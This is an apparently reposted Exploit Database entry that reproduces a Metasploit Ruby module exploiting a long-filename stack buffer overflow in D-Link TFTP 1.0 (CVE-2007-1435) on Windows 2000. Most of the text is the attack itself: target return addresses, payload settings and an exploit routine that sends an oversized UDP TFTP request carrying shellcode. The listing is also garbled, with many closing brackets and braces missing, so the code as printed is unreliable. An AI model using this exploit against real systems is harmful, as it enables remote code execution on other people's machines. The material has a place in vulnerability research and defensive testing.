D-Link TFTP 1.0 – ‘Filename’ Remote Buffer Overflow (Metasploit)

Exploit Database
123 阅读

作者： Metasploit

日期： 2010-05-09
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16345/

# $Id: dlink_long_filename.rb 9262 2010-05-09 17:45:00Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GoodRanking

include Msf::Exploit::Remote::Udp

def initialize(info = {})

super(update_info(info,

'Name' => 'D-Link TFTP 1.0 Long Filename Buffer Overflow',

'Description'=> %q{

This module exploits a stack buffer overflow in D-Link TFTP 1.0.

By sending a request for an overly long file name, an attacker

could overflow a buffer and execute arbitrary code. For best results,

use bind payloads with nonx (No NX).

'Author' =>

[

'LSO <lso[@]hushmail.com>', # Exploit module

'patrick', # Refs, stability, targets etc

'Version'=> '$Revision: 9262 $',

'References' =>

[

[ 'CVE', '2007-1435' ],

[ 'OSVDB', '33977' ],

[ 'BID', '22923' ],

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'Payload'=>

{

'Space'=> 1024,

'BadChars' => "\x00",

'Compat' =>

{

'ConnectionType' => '-reverse',

'SaveRegisters'=> [ 'ecx', 'eax', 'esi' ],

'Platform' => 'win',

'Targets'=>

[

# Patrick tested OK 20090228

['Windows 2000 SP4 English', { 'Ret' => 0x77e1ccf7 } ], # jmp ebx

['Windows 2000 SP3 English', { 'Ret' => 0x77f8361b } ], # jmp ebx

'Privileged' => false,

'DisclosureDate' => 'Mar 12 2007',

'DefaultTarget' => 0))

register_options(

[

Opt::RPORT(69)

], self)

end

def exploit

connect_udp

print_status("Trying target #{target.name}...")

juju = "\x00\x01"

juju << Rex::Text.rand_text_alpha_upper(581)

juju << Rex::Arch::X86.jmp_short(42)

juju << Rex::Text.rand_text_alpha_upper(38)

juju << [target.ret].pack('V') + payload.encoded

udp_sock.put(juju)

handler

disconnect_udp

end